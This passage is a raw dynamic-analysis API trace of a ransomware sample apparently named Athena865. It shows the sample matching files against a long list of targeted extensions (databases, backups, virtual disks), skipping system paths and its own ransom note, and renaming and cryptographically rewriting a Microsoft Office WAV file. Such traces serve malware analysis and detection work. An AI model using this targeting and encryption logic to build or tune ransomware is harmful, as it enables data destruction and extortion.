(lpString="accdc") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accdc") returned 1 [0152.799] lstrlenW (lpString="accde") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accde") returned 1 [0152.799] lstrlenW (lpString="accdr") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accdr") returned 1 [0152.799] lstrlenW (lpString="accdt") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accdt") returned 1 [0152.799] lstrlenW (lpString="accdw") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accdw") returned 1 [0152.799] lstrlenW (lpString="accft") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accft") returned 1 [0152.799] lstrlenW (lpString="adb") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.799] lstrlenW (lpString="adb") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.799] lstrlenW (lpString="ade") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.799] lstrlenW (lpString="adf") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.799] lstrlenW (lpString="adn") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.799] lstrlenW (lpString="adp") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.799] lstrlenW (lpString="alf") returned 3 [0152.799] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.799] lstrlenW (lpString="ask") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.800] lstrlenW (lpString="btr") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.800] lstrlenW (lpString="cat") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.800] lstrlenW (lpString="cdb") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.800] lstrlenW (lpString="ckp") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.800] lstrlenW (lpString="cma") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.800] lstrlenW (lpString="cpd") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.800] lstrlenW (lpString="dacpac") returned 6 [0152.800] lstrcmpiW (lpString1="EG.WAV", lpString2="dacpac") returned 1 [0152.800] lstrlenW (lpString="dad") returned 3 [0152.800] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.800] lstrlenW (lpString="dadiagrams") returned 10 [0152.800] lstrcmpiW (lpString1="ASHREG.WAV", lpString2="dadiagrams") returned -1 [0152.800] lstrlenW (lpString="daschema") returned 8 [0152.800] lstrcmpiW (lpString1="HREG.WAV", lpString2="daschema") returned 1 [0152.800] lstrlenW (lpString="db-journal") returned 10 [0152.800] lstrcmpiW (lpString1="ASHREG.WAV", lpString2="db-journal") returned -1 [0152.800] lstrlenW (lpString="db-shm") returned 6 [0152.800] lstrcmpiW (lpString1="EG.WAV", lpString2="db-shm") returned 1 [0152.800] lstrlenW (lpString="db-wal") returned 6 [0152.800] lstrcmpiW (lpString1="EG.WAV", lpString2="db-wal") returned 1 [0152.800] lstrlenW (lpString="dbc") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.801] lstrlenW (lpString="dbs") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.801] lstrlenW (lpString="dbt") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.801] lstrlenW (lpString="dbv") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.801] lstrlenW (lpString="dbx") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.801] lstrlenW (lpString="dcb") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.801] lstrlenW (lpString="dct") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.801] lstrlenW (lpString="dcx") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.801] lstrlenW (lpString="ddl") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.801] lstrlenW (lpString="dlis") returned 4 [0152.801] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.801] lstrlenW (lpString="dp1") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.801] lstrlenW (lpString="dqy") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.801] lstrlenW (lpString="dsk") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.801] lstrlenW (lpString="dsn") returned 3 [0152.801] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.801] lstrlenW (lpString="dtsx") returned 4 [0152.802] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.802] lstrlenW (lpString="dxl") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.802] lstrlenW (lpString="eco") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.802] lstrlenW (lpString="ecx") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.802] lstrlenW (lpString="edb") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.802] lstrlenW (lpString="epim") returned 4 [0152.802] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.802] lstrlenW (lpString="fcd") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.802] lstrlenW (lpString="fdb") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.802] lstrlenW (lpString="fic") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.802] lstrlenW (lpString="flexolibrary") returned 12 [0152.802] lstrlenW (lpString="fm5") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.802] lstrlenW (lpString="fmp") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.802] lstrlenW (lpString="fmp12") returned 5 [0152.802] lstrcmpiW (lpString1="G.WAV", lpString2="fmp12") returned 1 [0152.802] lstrlenW (lpString="fmpsl") returned 5 [0152.802] lstrcmpiW (lpString1="G.WAV", lpString2="fmpsl") returned 1 [0152.802] lstrlenW (lpString="fol") returned 3 [0152.802] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.803] lstrlenW (lpString="fp3") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.803] lstrlenW (lpString="fp4") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.803] lstrlenW (lpString="fp5") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.803] lstrlenW (lpString="fp7") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.803] lstrlenW (lpString="fpt") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.803] lstrlenW (lpString="frm") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.803] lstrlenW (lpString="gdb") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.803] lstrlenW (lpString="gdb") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.803] lstrlenW (lpString="grdb") returned 4 [0152.803] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.803] lstrlenW (lpString="gwi") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.803] lstrlenW (lpString="hdb") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.803] lstrlenW (lpString="his") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.803] lstrlenW (lpString="ib") returned 2 [0152.803] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.803] lstrlenW (lpString="idb") returned 3 [0152.803] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.804] lstrlenW (lpString="ihx") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.804] lstrlenW (lpString="itdb") returned 4 [0152.804] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.804] lstrlenW (lpString="itw") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.804] lstrlenW (lpString="jet") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.804] lstrlenW (lpString="jtx") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.804] lstrlenW (lpString="kdb") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.804] lstrlenW (lpString="kexi") returned 4 [0152.804] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.804] lstrlenW (lpString="kexic") returned 5 [0152.804] lstrcmpiW (lpString1="G.WAV", lpString2="kexic") returned -1 [0152.804] lstrlenW (lpString="kexis") returned 5 [0152.804] lstrcmpiW (lpString1="G.WAV", lpString2="kexis") returned -1 [0152.804] lstrlenW (lpString="lgc") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.804] lstrlenW (lpString="lwx") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.804] lstrlenW (lpString="maf") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.804] lstrlenW (lpString="maq") returned 3 [0152.804] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.804] lstrlenW (lpString="mar") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.805] lstrlenW (lpString="marshal") returned 7 [0152.805] lstrcmpiW (lpString1="REG.WAV", lpString2="marshal") returned 1 [0152.805] lstrlenW (lpString="mas") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.805] lstrlenW (lpString="mav") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.805] lstrlenW (lpString="maw") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.805] lstrlenW (lpString="mdbhtml") returned 7 [0152.805] lstrcmpiW (lpString1="REG.WAV", lpString2="mdbhtml") returned 1 [0152.805] lstrlenW (lpString="mdn") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.805] lstrlenW (lpString="mdt") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.805] lstrlenW (lpString="mfd") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.805] lstrlenW (lpString="mpd") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.805] lstrlenW (lpString="mrg") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mrg") returned 1 [0152.805] lstrlenW (lpString="mud") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.805] lstrlenW (lpString="mwb") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.805] lstrlenW (lpString="myd") returned 3 [0152.805] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.805] lstrlenW (lpString="ndf") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.806] lstrlenW (lpString="nnt") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.806] lstrlenW (lpString="nrmlib") returned 6 [0152.806] lstrcmpiW (lpString1="EG.WAV", lpString2="nrmlib") returned -1 [0152.806] lstrlenW (lpString="ns2") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.806] lstrlenW (lpString="ns3") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.806] lstrlenW (lpString="ns4") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.806] lstrlenW (lpString="nsf") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.806] lstrlenW (lpString="nv") returned 2 [0152.806] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.806] lstrlenW (lpString="nv2") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.806] lstrlenW (lpString="nwdb") returned 4 [0152.806] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.806] lstrlenW (lpString="nyf") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.806] lstrlenW (lpString="odb") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.806] lstrlenW (lpString="odb") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.806] lstrlenW (lpString="oqy") returned 3 [0152.806] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.806] lstrlenW (lpString="ora") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.807] lstrlenW (lpString="orx") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.807] lstrlenW (lpString="owc") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.807] lstrlenW (lpString="p96") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.807] lstrlenW (lpString="p97") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.807] lstrlenW (lpString="pan") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.807] lstrlenW (lpString="pdb") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.807] lstrlenW (lpString="pdm") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.807] lstrlenW (lpString="pnz") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.807] lstrlenW (lpString="qry") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.807] lstrlenW (lpString="qvd") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.807] lstrlenW (lpString="rbf") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.807] lstrlenW (lpString="rctd") returned 4 [0152.807] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.807] lstrlenW (lpString="rod") returned 3 [0152.807] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.807] lstrlenW (lpString="rodx") returned 4 [0152.808] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.808] lstrlenW (lpString="rpd") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.808] lstrlenW (lpString="rsd") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.808] lstrlenW (lpString="sas7bdat") returned 8 [0152.808] lstrcmpiW (lpString1="HREG.WAV", lpString2="sas7bdat") returned -1 [0152.808] lstrlenW (lpString="sbf") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.808] lstrlenW (lpString="scx") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.808] lstrlenW (lpString="sdb") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.808] lstrlenW (lpString="sdc") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.808] lstrlenW (lpString="sdf") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.808] lstrlenW (lpString="sis") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.808] lstrlenW (lpString="spq") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.808] lstrlenW (lpString="te") returned 2 [0152.808] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.808] lstrlenW (lpString="teacher") returned 7 [0152.808] lstrcmpiW (lpString1="REG.WAV", lpString2="teacher") returned -1 [0152.808] lstrlenW (lpString="tmd") returned 3 [0152.808] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.808] lstrlenW (lpString="tps") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.809] lstrlenW (lpString="trc") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.809] lstrlenW (lpString="trc") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.809] lstrlenW (lpString="trm") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.809] lstrlenW (lpString="udb") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.809] lstrlenW (lpString="udl") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.809] lstrlenW (lpString="usr") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.809] lstrlenW (lpString="v12") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.809] lstrlenW (lpString="vis") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.809] lstrlenW (lpString="vpd") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.809] lstrlenW (lpString="vvv") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.809] lstrlenW (lpString="wdb") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.809] lstrlenW (lpString="wmdb") returned 4 [0152.809] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.809] lstrlenW (lpString="wrk") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.809] lstrlenW (lpString="xdb") returned 3 [0152.809] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.809] lstrlenW (lpString="xld") returned 3 [0152.810] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.810] lstrlenW (lpString="xmlff") returned 5 [0152.810] lstrcmpiW (lpString1="G.WAV", lpString2="xmlff") returned -1 [0152.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.Athena865") returned 70 [0152.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav.athena865"), dwFlags=0x1) returned 1 [0152.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.811] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7551) returned 1 [0152.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.812] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.813] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.813] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.813] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2080, lpName=0x0) returned 0x154 [0152.816] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2080) returned 0x100000 [0152.819] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.820] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.820] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.821] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.821] CloseHandle (hObject=0x154) returned 1 [0152.821] CloseHandle (hObject=0x17c) returned 1 [0152.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.821] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x91be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHIMES.WAV", cAlternateFileName="")) returned 1 [0152.821] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.821] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.821] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".") returned 1 [0152.821] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="..") returned 1 [0152.821] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="windows") returned -1 [0152.821] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="bootmgr") returned 1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="temp") returned -1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="pagefile.sys") returned -1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="boot") returned 1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="ids.txt") returned -1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="ntuser.dat") returned -1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="perflogs") returned -1 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2="MSBuild") returned -1 [0152.822] lstrlenW (lpString="CHIMES.WAV") returned 10 [0152.822] lstrcpyW (in: lpString1=0x241e8aa, lpString2="CHIMES.WAV" | out: lpString1="CHIMES.WAV") returned="CHIMES.WAV" [0152.822] lstrlenW (lpString="CHIMES.WAV") returned 10 [0152.822] lstrlenW (lpString="Athena865") returned 9 [0152.822] lstrcmpiW (lpString1="HIMES.WAV", lpString2="Athena865") returned 1 [0152.822] lstrlenW (lpString=".dll") returned 4 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".dll") returned 1 [0152.822] lstrlenW (lpString=".lnk") returned 4 [0152.822] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".lnk") returned 1 [0152.824] lstrlenW (lpString=".ini") returned 4 [0152.824] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".ini") returned 1 [0152.824] lstrlenW (lpString=".sys") returned 4 [0152.824] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".sys") returned 1 [0152.824] lstrlenW (lpString="CHIMES.WAV") returned 10 [0152.824] lstrlenW (lpString="bak") returned 3 [0152.824] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.824] lstrlenW (lpString="ba_") returned 3 [0152.824] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.824] lstrlenW (lpString="dbb") returned 3 [0152.824] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.824] lstrlenW (lpString="vmdk") returned 4 [0152.824] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.824] lstrlenW (lpString="rar") returned 3 [0152.824] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.824] lstrlenW (lpString="zip") returned 3 [0152.824] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.824] lstrlenW (lpString="tgz") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.825] lstrlenW (lpString="vbox") returned 4 [0152.825] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.825] lstrlenW (lpString="vdi") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.825] lstrlenW (lpString="vhd") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.825] lstrlenW (lpString="vhdx") returned 4 [0152.825] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.825] lstrlenW (lpString="avhd") returned 4 [0152.825] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.825] lstrlenW (lpString="db") returned 2 [0152.825] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.825] lstrlenW (lpString="db2") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.825] lstrlenW (lpString="db3") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.825] lstrlenW (lpString="dbf") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.825] lstrlenW (lpString="mdf") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.825] lstrlenW (lpString="mdb") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.825] lstrlenW (lpString="sql") returned 3 [0152.825] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.825] lstrlenW (lpString="sqlite") returned 6 [0152.825] lstrcmpiW (lpString1="ES.WAV", lpString2="sqlite") returned -1 [0152.825] lstrlenW (lpString="sqlite3") returned 7 [0152.825] lstrcmpiW (lpString1="MES.WAV", lpString2="sqlite3") returned -1 [0152.825] 